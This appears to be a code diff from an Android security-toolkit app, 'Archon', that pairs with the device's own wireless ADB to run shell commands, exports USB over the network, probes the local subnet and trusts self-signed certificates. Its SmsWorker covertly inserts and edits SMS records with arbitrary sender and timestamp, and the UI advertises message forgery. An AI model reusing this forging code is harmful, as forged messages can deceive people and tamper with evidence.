cal.get(Calendar.HOUR_OF_DAY),
cal.get(Calendar.MINUTE),
cal.get(Calendar.SECOND)
)
return derTag(0x17, s.toByteArray(Charsets.US_ASCII))
}
private fun derExplicit(tag: Int, content: ByteArray): ByteArray {
return derTag(0xA0 or tag, content)
}
/**
* Discover the wireless debugging pairing port via mDNS.
*/
fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? {
val foundPort = AtomicInteger(-1)
val latch = CountDownLatch(1)
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port ->
Log.i(TAG, "Found pairing service at $hostAddress:$port")
foundPort.set(port)
latch.countDown()
}
mdns.start()
latch.await(timeoutSec, TimeUnit.SECONDS)
mdns.stop()
val port = foundPort.get()
return if (port > 0) port else null
}
/**
* Pair with the device's wireless debugging service.
*/
fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean {
return try {
ensureKeyPair(context)
val manager = getOrCreateManager(context)
val success = manager.pair(host, port, code)
Log.i(TAG, "Pairing result: $success")
success
} catch (e: Exception) {
Log.e(TAG, "Pairing failed", e)
false
}
}
/**
* Discover the wireless debugging connect port via mDNS.
*/
fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? {
val foundPort = AtomicInteger(-1)
val latch = CountDownLatch(1)
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port ->
Log.i(TAG, "Found connect service at $hostAddress:$port")
foundPort.set(port)
latch.countDown()
}
mdns.start()
latch.await(timeoutSec, TimeUnit.SECONDS)
mdns.stop()
val port = foundPort.get()
return if (port > 0) port else null
}
/**
* Connect to the device's wireless debugging ADB service.
*/
fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean {
return try {
val manager = getOrCreateManager(context)
val success = manager.connect(host, port)
connected.set(success)
if (success) connectedPort.set(port)
Log.i(TAG, "Connect result: $success (port=$port)")
success
} catch (e: Exception) {
Log.e(TAG, "Connect failed", e)
connected.set(false)
false
}
}
/**
* Auto-connect: discover port via mDNS and connect.
*/
fun autoConnect(context: Context): Boolean {
val port = discoverConnectPort(context) ?: return false
return connect(context, LOCALHOST, port)
}
/**
* Disconnect the current ADB session.
*/
fun disconnect() {
try {
connectionManager?.disconnect()
} catch (e: Exception) {
Log.w(TAG, "Disconnect error", e)
}
connected.set(false)
connectedPort.set(0)
}
/**
* Check if currently connected to an ADB session.
*/
fun isConnected(): Boolean = connected.get()
/**
* Execute a shell command via the local ADB connection.
*/
fun execute(command: String): ShellResult {
if (!connected.get()) {
return ShellResult("", "Not connected to local ADB", -1)
}
return try {
val manager = connectionManager ?: return ShellResult("", "No connection manager", -1)
val stream = manager.openStream("shell:$command")
val inputStream = stream.openInputStream()
val stdout = inputStream.bufferedReader().readText().trim()
stream.close()
ShellResult(stdout, "", 0)
} catch (e: Exception) {
Log.e(TAG, "Shell execute failed", e)
connected.set(false)
ShellResult("", "ADB shell error: ${e.message}", -1)
}
}
/**
* Check if we were previously paired (have keys stored).
*/
fun isPaired(context: Context): Boolean = hasKeyPair(context)
/**
* Get a human-readable status string.
*/
fun getStatusString(context: Context): String {
return when {
connected.get() -> "Connected (port ${connectedPort.get()})"
hasKeyPair(context) -> "Paired, not connected"
else -> "Not paired"
}
}
// ── Internal ──────────────────────────────────────────────────
private fun ensureKeyPair(context: Context) {
if (!hasKeyPair(context)) {
generateKeyPair(context)
}
}
private fun getOrCreateManager(context: Context): AbsAdbConnectionManager {
connectionManager?.let { return it }
ensureKeyPair(context)
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP)
val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP)
val keySpec = PKCS8EncodedKeySpec(privateKeyBytes)
val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec)
val certFactory = CertificateFactory.getInstance("X.509")
val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes))
val manager = object : AbsAdbConnectionManager() {
override fun getPrivateKey(): PrivateKey = privateKey
override fun getCertificate(): Certificate = certificate
override fun getDeviceName(): String = "archon_${Build.MODEL}"
}
manager.setApi(Build.VERSION.SDK_INT)
manager.setHostAddress(LOCALHOST)
connectionManager = manager
return manager
}
}

View File

@@ -0,0 +1,216 @@
package com.darkhal.archon.service
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.os.Build
import android.util.Log
import androidx.core.app.NotificationCompat
import androidx.core.app.RemoteInput
import com.darkhal.archon.R
import com.darkhal.archon.server.ArchonClient
/**
* Handles the pairing code entered via notification inline reply.
*
* Flow (like Shizuku):
* 1. User taps "START PAIRING" in Setup
* 2. App shows notification with text input for pairing code
* 3. User opens Developer Options > Wireless Debugging > Pair with code
* 4. User pulls down notification shade and enters the 6-digit code
* 5. This receiver auto-detects port, pairs, connects, starts ArchonServer
*/
class PairingReceiver : BroadcastReceiver() {
companion object {
private const val TAG = "PairingReceiver"
const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR"
const val KEY_PAIRING_CODE = "pairing_code"
const val NOTIFICATION_ID = 42
const val CHANNEL_ID = "archon_pairing"
/**
* Show the pairing notification with inline text input.
*/
fun showPairingNotification(context: Context) {
createChannel(context)
val replyIntent = Intent(ACTION_PAIR).apply {
setPackage(context.packageName)
}
val replyPending = PendingIntent.getBroadcast(
context, 0, replyIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
)
val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE)
.setLabel("6-digit pairing code")
.build()
val action = NotificationCompat.Action.Builder(
R.drawable.ic_archon,
"Enter pairing code",
replyPending
)
.addRemoteInput(remoteInput)
.build()
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
.setSmallIcon(R.drawable.ic_archon)
.setContentTitle("Archon — Wireless Debugging Pairing")
.setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code")
.setStyle(NotificationCompat.BigTextStyle()
.bigText("1. Open Settings > Developer Options\n" +
"2. Enable Wireless Debugging\n" +
"3. Tap 'Pair with pairing code'\n" +
"4. Enter the 6-digit code below"))
.addAction(action)
.setOngoing(true)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(false)
.build()
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.notify(NOTIFICATION_ID, notification)
}
/**
* Update the notification with a status message (no input).
*/
fun updateNotification(context: Context, message: String, ongoing: Boolean = false) {
createChannel(context)
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
.setSmallIcon(R.drawable.ic_archon)
.setContentTitle("Archon Pairing")
.setContentText(message)
.setOngoing(ongoing)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(!ongoing)
.build()
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.notify(NOTIFICATION_ID, notification)
}
/**
* Dismiss the pairing notification.
*/
fun dismissNotification(context: Context) {
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.cancel(NOTIFICATION_ID)
}
private fun createChannel(context: Context) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
CHANNEL_ID,
"Wireless Debugging Pairing",
NotificationManager.IMPORTANCE_HIGH
).apply {
description = "Used for entering the wireless debugging pairing code"
}
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.createNotificationChannel(channel)
}
}
}
override fun onReceive(context: Context, intent: Intent) {
if (intent.action != ACTION_PAIR) return
val remoteInput = RemoteInput.getResultsFromIntent(intent)
val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim()
if (code.isNullOrEmpty()) {
updateNotification(context, "No code entered — try again")
showPairingNotification(context)
return
}
Log.i(TAG, "Received pairing code: $code")
updateNotification(context, "Pairing with code $code...", ongoing = true)
// Run pairing in background thread
Thread {
try {
// Auto-detect pairing port
Log.i(TAG, "Discovering pairing port...")
val port = LocalAdbClient.discoverPairingPort(context)
if (port == null) {
Log.w(TAG, "Could not find pairing port")
updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?")
Thread.sleep(3000)
showPairingNotification(context)
return@Thread
}
Log.i(TAG, "Found pairing port: $port, pairing...")
updateNotification(context, "Found port $port, pairing...", ongoing = true)
val success = LocalAdbClient.pair(context, "127.0.0.1", port, code)
if (!success) {
Log.w(TAG, "Pairing failed")
updateNotification(context, "Pairing failed — wrong code or port changed. Try again.")
Thread.sleep(3000)
showPairingNotification(context)
return@Thread
}
Log.i(TAG, "Paired! Waiting for connect service...")
updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true)
// Wait for wireless debugging to register the connect service after pairing
Thread.sleep(2000)
// Try to discover and connect with retries
var connectSuccess = false
for (attempt in 1..3) {
Log.i(TAG, "Connect attempt $attempt/3...")
updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true)
val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8)
if (connectPort != null) {
Log.i(TAG, "Found connect port: $connectPort")
connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort)
if (connectSuccess) {
Log.i(TAG, "Connected on port $connectPort")
break
}
Log.w(TAG, "Connect failed on port $connectPort")
} else {
Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)")
}
if (attempt < 3) Thread.sleep(2000)
}
if (!connectSuccess) {
Log.w(TAG, "All connect attempts failed")
updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false)
return@Thread
}
// Try to start ArchonServer
updateNotification(context, "Connected! Starting Archon Server...", ongoing = true)
val result = ArchonClient.startServer(context)
val msg = if (result.success) {
"Paired + connected + Archon Server running!"
} else {
"Paired + connected! Server: ${result.message}"
}
Log.i(TAG, msg)
updateNotification(context, msg, ongoing = false)
} catch (e: Exception) {
Log.e(TAG, "Pairing error", e)
updateNotification(context, "Error: ${e.message}")
}
}.start()
}
}

View File

@@ -0,0 +1,130 @@
package com.darkhal.archon.service
import android.content.BroadcastReceiver
import android.content.ContentValues
import android.content.Context
import android.content.Intent
import android.net.Uri
import android.util.Log
import java.io.File
/**
* Handles covert SMS insert/update from ADB shell broadcasts.
*
* Flow:
* 1. Python backend sets Archon as default SMS app via `cmd role`
* 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ...
* 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app)
* 4. Writes result to files/sms_result.txt
* 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt`
* 6. Python restores original default SMS app
*/
class SmsWorker : BroadcastReceiver() {
companion object {
private const val TAG = "SmsWorker"
const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT"
const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE"
const val RESULT_FILE = "sms_result.txt"
}
override fun onReceive(context: Context, intent: Intent) {
val action = intent.action ?: return
val resultFile = File(context.filesDir, RESULT_FILE)
try {
when (action) {
ACTION_INSERT -> handleInsert(context, intent, resultFile)
ACTION_UPDATE -> handleUpdate(context, intent, resultFile)
else -> resultFile.writeText("ERROR:Unknown action $action")
}
} catch (e: Exception) {
Log.e(TAG, "SMS operation failed", e)
resultFile.writeText("ERROR:${e.message}")
}
}
private fun handleInsert(context: Context, intent: Intent, resultFile: File) {
val address = intent.getStringExtra("address") ?: run {
resultFile.writeText("ERROR:No address"); return
}
val body = intent.getStringExtra("body") ?: run {
resultFile.writeText("ERROR:No body"); return
}
val values = ContentValues().apply {
put("address", address)
put("body", body)
put("date", intent.getLongExtra("date", System.currentTimeMillis()))
put("type", intent.getIntExtra("type", 1))
put("read", intent.getIntExtra("read", 1))
put("seen", 1)
}
val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values)
if (uri != null) {
Log.i(TAG, "SMS inserted: $uri")
resultFile.writeText("SUCCESS:$uri")
} else {
Log.w(TAG, "SMS insert returned null")
resultFile.writeText("FAIL:provider returned null")
}
}
private fun handleUpdate(context: Context, intent: Intent, resultFile: File) {
val smsId = intent.getStringExtra("id") ?: run {
resultFile.writeText("ERROR:No SMS id"); return
}
val values = ContentValues()
intent.getStringExtra("body")?.let { values.put("body", it) }
intent.getStringExtra("address")?.let { values.put("address", it) }
if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1))
if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1))
if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0))
if (values.size() == 0) {
resultFile.writeText("ERROR:Nothing to update"); return
}
val count = context.contentResolver.update(
Uri.parse("content://sms/$smsId"), values, null, null
)
Log.i(TAG, "SMS update: $count rows affected for id=$smsId")
resultFile.writeText("SUCCESS:updated=$count")
}
}
// ── SMS Role stubs ──────────────────────────────────────────────
// These are required for Android to accept Archon as a valid SMS role holder.
// They don't need to do anything — they just need to exist and be declared
// in the manifest with the correct intent filters and permissions.
/** Stub: receives incoming SMS when we're temporarily the default SMS app. */
class SmsDeliverReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
// Intentionally empty — we only hold the SMS role briefly for inserts
}
}
/** Stub: receives incoming MMS when we're temporarily the default SMS app. */
class MmsDeliverReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
// Intentionally empty
}
}
/** Stub: "respond via message" service required for SMS role. */
class RespondViaMessageService : android.app.Service() {
override fun onBind(intent: Intent?): android.os.IBinder? = null
}
/** Stub: SMS compose activity required for SMS role. Immediately finishes. */
class SmsComposeActivity : android.app.Activity() {
override fun onCreate(savedInstanceState: android.os.Bundle?) {
super.onCreate(savedInstanceState)
finish()
}
}

View File

@@ -0,0 +1,97 @@
package com.darkhal.archon.service
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.ShellResult
data class UsbDevice(
val busId: String,
val description: String
)
object UsbIpManager {
private const val USBIPD_PROCESS = "usbipd"
/**
* Start USB/IP daemon to export this device's USB gadget over the network.
*/
fun startExport(): ShellResult {
return PrivilegeManager.execute("usbipd -D")
}
/**
* Stop the USB/IP daemon.
*/
fun stopExport(): ShellResult {
return PrivilegeManager.execute("killall $USBIPD_PROCESS")
}
/**
* Check if usbipd is currently running.
*/
fun isExporting(): Boolean {
val result = ShellExecutor.execute("pidof $USBIPD_PROCESS")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* Check if the usbip binary is available on this device.
*/
fun isAvailable(): Boolean {
val result = ShellExecutor.execute("which usbip || which usbipd")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* List local USB devices that can be exported.
*/
fun listLocalDevices(): List<UsbDevice> {
val result = PrivilegeManager.execute("usbip list -l")
if (result.exitCode != 0) return emptyList()
val devices = mutableListOf<UsbDevice>()
val lines = result.stdout.lines()
for (line in lines) {
val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line)
if (match != null) {
val busId = match.groupValues[1]
val desc = match.groupValues[2]
devices.add(UsbDevice(busId, desc))
}
}
return devices
}
/**
* Bind a local USB device for export.
*/
fun bindDevice(busId: String): ShellResult {
return PrivilegeManager.execute("usbip bind -b $busId")
}
/**
* Unbind a local USB device from export.
*/
fun unbindDevice(busId: String): ShellResult {
return PrivilegeManager.execute("usbip unbind -b $busId")
}
/**
* Get combined USB/IP status.
*/
fun getStatus(): Map<String, Any> {
val available = isAvailable()
val exporting = if (available) isExporting() else false
val devices = if (available) listLocalDevices() else emptyList()
return mapOf(
"available" to available,
"exporting" to exporting,
"device_count" to devices.size,
"devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) }
)
}
}

View File

@@ -0,0 +1,278 @@
package com.darkhal.archon.ui
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.SslHelper
import com.google.android.material.button.MaterialButton
import java.net.HttpURLConnection
import java.net.URL
class DashboardFragment : Fragment() {
private lateinit var privilegeStatusDot: View
private lateinit var privilegeStatusText: TextView
private lateinit var serverStatusDot: View
private lateinit var serverStatusText: TextView
private lateinit var wgStatusDot: View
private lateinit var wgStatusText: TextView
private lateinit var outputLog: TextView
// Discovery
private lateinit var discoveryStatusDot: View
private lateinit var discoveryStatusText: TextView
private lateinit var discoveryMethodText: TextView
private lateinit var btnDiscover: MaterialButton
private var discoveryManager: DiscoveryManager? = null
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_dashboard, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
serverStatusDot = view.findViewById(R.id.server_status_dot)
serverStatusText = view.findViewById(R.id.server_status_text)
wgStatusDot = view.findViewById(R.id.wg_status_dot)
wgStatusText = view.findViewById(R.id.wg_status_text)
outputLog = view.findViewById(R.id.output_log)
// Discovery views
discoveryStatusDot = view.findViewById(R.id.discovery_status_dot)
discoveryStatusText = view.findViewById(R.id.discovery_status_text)
discoveryMethodText = view.findViewById(R.id.discovery_method_text)
btnDiscover = view.findViewById(R.id.btn_discover)
setupDiscovery()
// Initialize PrivilegeManager and check available methods
val ctx = requireContext()
PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx))
Thread {
val method = PrivilegeManager.getAvailableMethod()
handler.post {
val hasPrivilege = method != PrivilegeManager.Method.NONE
setStatusDot(privilegeStatusDot, hasPrivilege)
privilegeStatusText.text = "Privilege: ${method.label}"
appendLog("Privilege: ${method.label}")
refreshServerStatus()
}
}.start()
// Auto-discover server on launch
startDiscovery()
}
private fun refreshServerStatus() {
Thread {
val serverIp = PrefsManager.getServerIp(requireContext())
val webPort = PrefsManager.getWebPort(requireContext())
// Check WireGuard tunnel
val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null")
val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ")
// Check if AUTARCH server is reachable
val serverReachable = if (serverIp.isNotEmpty()) {
probeServer(serverIp, webPort)
} else {
false
}
handler.post {
// WireGuard
setStatusDot(wgStatusDot, wgUp)
wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active"
// Server
if (serverIp.isEmpty()) {
setStatusDot(serverStatusDot, false)
serverStatusText.text = "Server: not configured — tap SCAN or set in Settings"
} else if (serverReachable) {
setStatusDot(serverStatusDot, true)
serverStatusText.text = "Server: $serverIp:$webPort (connected)"
} else {
setStatusDot(serverStatusDot, false)
serverStatusText.text = "Server: $serverIp:$webPort (unreachable)"
}
}
}.start()
}
private fun probeServer(ip: String, port: Int): Boolean {
return try {
val url = URL("https://$ip:$port/")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 3000
conn.readTimeout = 3000
conn.requestMethod = "GET"
conn.instanceFollowRedirects = true
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(20)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
// ── Discovery ────────────────────────────────────────────────
private fun setupDiscovery() {
discoveryManager = DiscoveryManager(requireContext())
discoveryManager?.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
val method = when (server.method) {
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
}
setStatusDot(discoveryStatusDot, true)
discoveryStatusText.text = "Found: ${server.hostname}"
discoveryMethodText.text = "via $method"
appendLog("Discovered AUTARCH via $method")
if (server.ip.isNotEmpty() && server.port > 0) {
PrefsManager.setServerIp(requireContext(), server.ip)
PrefsManager.setWebPort(requireContext(), server.port)
appendLog("Auto-configured: ${server.ip}:${server.port}")
// Update PrivilegeManager with new server info
PrivilegeManager.setServerConnection(server.ip, server.port)
refreshServerStatus()
}
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {
appendLog("Scanning: ${method.name}...")
}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) {
appendLog("No mDNS/BT response — trying HTTP probe...")
probeLocalSubnet()
}
btnDiscover.isEnabled = true
btnDiscover.text = "SCAN"
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {
appendLog("${method.name}: $error")
}
}
btnDiscover.setOnClickListener {
startDiscovery()
}
}
private fun startDiscovery() {
setStatusDot(discoveryStatusDot, false)
discoveryStatusText.text = "Scanning network..."
discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP"
btnDiscover.isEnabled = false
btnDiscover.text = "SCANNING..."
discoveryManager?.startDiscovery()
}
private fun probeLocalSubnet() {
Thread {
val port = PrefsManager.getWebPort(requireContext())
val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null")
val gateway = routeResult.stdout.split(" ").let { parts ->
val idx = parts.indexOf("via")
if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null
}
if (gateway == null) {
handler.post {
discoveryStatusText.text = "No AUTARCH server found"
discoveryMethodText.text = "Set server IP in Settings tab"
}
return@Thread
}
val base = gateway.substringBeforeLast(".") + "."
appendLogOnUi("Probing ${base}x on port $port...")
val candidates = mutableListOf<String>()
candidates.add(gateway)
for (i in 1..30) {
val ip = "$base$i"
if (ip != gateway) candidates.add(ip)
}
candidates.addAll(listOf("${base}100", "${base}200", "${base}254"))
val savedIp = PrefsManager.getServerIp(requireContext())
if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) {
candidates.add(0, savedIp)
}
for (ip in candidates) {
if (probeServer(ip, port)) {
handler.post {
PrefsManager.setServerIp(requireContext(), ip)
setStatusDot(discoveryStatusDot, true)
discoveryStatusText.text = "Found: AUTARCH"
discoveryMethodText.text = "via HTTP probe ($ip)"
appendLog("Found AUTARCH at $ip:$port (HTTP)")
PrivilegeManager.setServerConnection(ip, port)
refreshServerStatus()
}
return@Thread
}
}
handler.post {
discoveryStatusText.text = "No AUTARCH server found"
discoveryMethodText.text = "Set server IP in Settings tab"
appendLog("HTTP probe: no server found on $base* :$port")
}
}.start()
}
private fun appendLogOnUi(msg: String) {
handler.post { appendLog(msg) }
}
override fun onDestroyView() {
super.onDestroyView()
discoveryManager?.stopDiscovery()
}
}

View File

@@ -0,0 +1,61 @@
package com.darkhal.archon.ui
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.util.PrefsManager
class LinksFragment : Fragment() {
private data class LinkItem(
val cardId: Int,
val path: String
)
private val links = listOf(
LinkItem(R.id.card_dashboard, "/dashboard"),
LinkItem(R.id.card_wireguard, "/wireguard"),
LinkItem(R.id.card_shield, "/android-protect"),
LinkItem(R.id.card_hardware, "/hardware"),
LinkItem(R.id.card_wireshark, "/wireshark"),
LinkItem(R.id.card_osint, "/osint"),
LinkItem(R.id.card_defense, "/defense"),
LinkItem(R.id.card_offense, "/offense"),
LinkItem(R.id.card_settings, "/settings")
)
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_links, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext())
// Update server URL label
view.findViewById<TextView>(R.id.server_url_label).text = "Server: $baseUrl"
// Set up click listeners for all link cards
for (link in links) {
view.findViewById<View>(link.cardId)?.setOnClickListener {
openUrl("$baseUrl${link.path}")
}
}
}
private fun openUrl(url: String) {
val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
startActivity(intent)
}
}

View File

@@ -0,0 +1,761 @@
package com.darkhal.archon.ui
import android.app.DatePickerDialog
import android.app.TimePickerDialog
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.CheckBox
import android.widget.PopupMenu
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AlertDialog
import androidx.fragment.app.Fragment
import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.RecyclerView
import com.darkhal.archon.R
import com.darkhal.archon.messaging.ConversationAdapter
import com.darkhal.archon.messaging.MessageAdapter
import com.darkhal.archon.messaging.MessagingModule
import com.darkhal.archon.messaging.MessagingRepository
import com.darkhal.archon.messaging.ShizukuManager
import com.darkhal.archon.module.ModuleManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.card.MaterialCardView
import com.google.android.material.floatingactionbutton.FloatingActionButton
import com.google.android.material.textfield.TextInputEditText
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.Date
import java.util.Locale
/**
* SMS/RCS Messaging tab — full messaging UI with conversation list and thread view.
*
* Two views:
* 1. Conversation list — shows all threads with contact, snippet, date, unread count
* 2. Message thread — shows messages as chat bubbles with input bar
*
* Features:
* - Search across all messages
* - Set/restore default SMS app
* - Export conversations (XML/CSV)
* - Forge messages with arbitrary sender/timestamp
* - Edit/delete messages via long-press context menu
* - Shizuku status indicator
*/
class MessagingFragment : Fragment() {
// Views — Conversation list
private lateinit var conversationListContainer: View
private lateinit var recyclerConversations: RecyclerView
private lateinit var emptyState: TextView
private lateinit var shizukuDot: View
private lateinit var btnSearch: MaterialButton
private lateinit var btnDefaultSms: MaterialButton
private lateinit var btnTools: MaterialButton
private lateinit var searchBar: View
private lateinit var inputSearch: TextInputEditText
private lateinit var btnSearchGo: MaterialButton
private lateinit var btnSearchClose: MaterialButton
private lateinit var fabNewMessage: FloatingActionButton
// Views — Thread
private lateinit var threadViewContainer: View
private lateinit var recyclerMessages: RecyclerView
private lateinit var threadContactName: TextView
private lateinit var threadAddress: TextView
private lateinit var btnBack: MaterialButton
private lateinit var btnThreadExport: MaterialButton
private lateinit var inputMessage: TextInputEditText
private lateinit var btnSend: MaterialButton
// Views — Output log
private lateinit var outputLogCard: MaterialCardView
private lateinit var outputLog: TextView
private lateinit var btnCloseLog: MaterialButton
// Data
private lateinit var repo: MessagingRepository
private lateinit var shizuku: ShizukuManager
private lateinit var conversationAdapter: ConversationAdapter
private lateinit var messageAdapter: MessageAdapter
private val handler = Handler(Looper.getMainLooper())
// State
private var currentThreadId: Long = -1
private var currentAddress: String = ""
private var isDefaultSms: Boolean = false
// Forge dialog state
private var forgeCalendar: Calendar = Calendar.getInstance()
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_messaging, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
repo = MessagingRepository(requireContext())
shizuku = ShizukuManager(requireContext())
bindViews(view)
setupConversationList()
setupThreadView()
setupSearch()
setupToolbar()
setupOutputLog()
// Load conversations
loadConversations()
// Check Shizuku status
refreshShizukuStatus()
}
// ── View binding ───────────────────────────────────────────────
private fun bindViews(view: View) {
// Conversation list
conversationListContainer = view.findViewById(R.id.conversation_list_container)
recyclerConversations = view.findViewById(R.id.recycler_conversations)
emptyState = view.findViewById(R.id.empty_state)
shizukuDot = view.findViewById(R.id.shizuku_status_dot)
btnSearch = view.findViewById(R.id.btn_search)
btnDefaultSms = view.findViewById(R.id.btn_default_sms)
btnTools = view.findViewById(R.id.btn_tools)
searchBar = view.findViewById(R.id.search_bar)
inputSearch = view.findViewById(R.id.input_search)
btnSearchGo = view.findViewById(R.id.btn_search_go)
btnSearchClose = view.findViewById(R.id.btn_search_close)
fabNewMessage = view.findViewById(R.id.fab_new_message)
// Thread view
threadViewContainer = view.findViewById(R.id.thread_view_container)
recyclerMessages = view.findViewById(R.id.recycler_messages)
threadContactName = view.findViewById(R.id.thread_contact_name)
threadAddress = view.findViewById(R.id.thread_address)
btnBack = view.findViewById(R.id.btn_back)
btnThreadExport = view.findViewById(R.id.btn_thread_export)
inputMessage = view.findViewById(R.id.input_message)
btnSend = view.findViewById(R.id.btn_send)
// Output log
outputLogCard = view.findViewById(R.id.output_log_card)
outputLog = view.findViewById(R.id.messaging_output_log)
btnCloseLog = view.findViewById(R.id.btn_close_log)
}
// ── Conversation list ──────────────────────────────────────────
private fun setupConversationList() {
conversationAdapter = ConversationAdapter(mutableListOf()) { conversation ->
openThread(conversation)
}
recyclerConversations.apply {
layoutManager = LinearLayoutManager(requireContext())
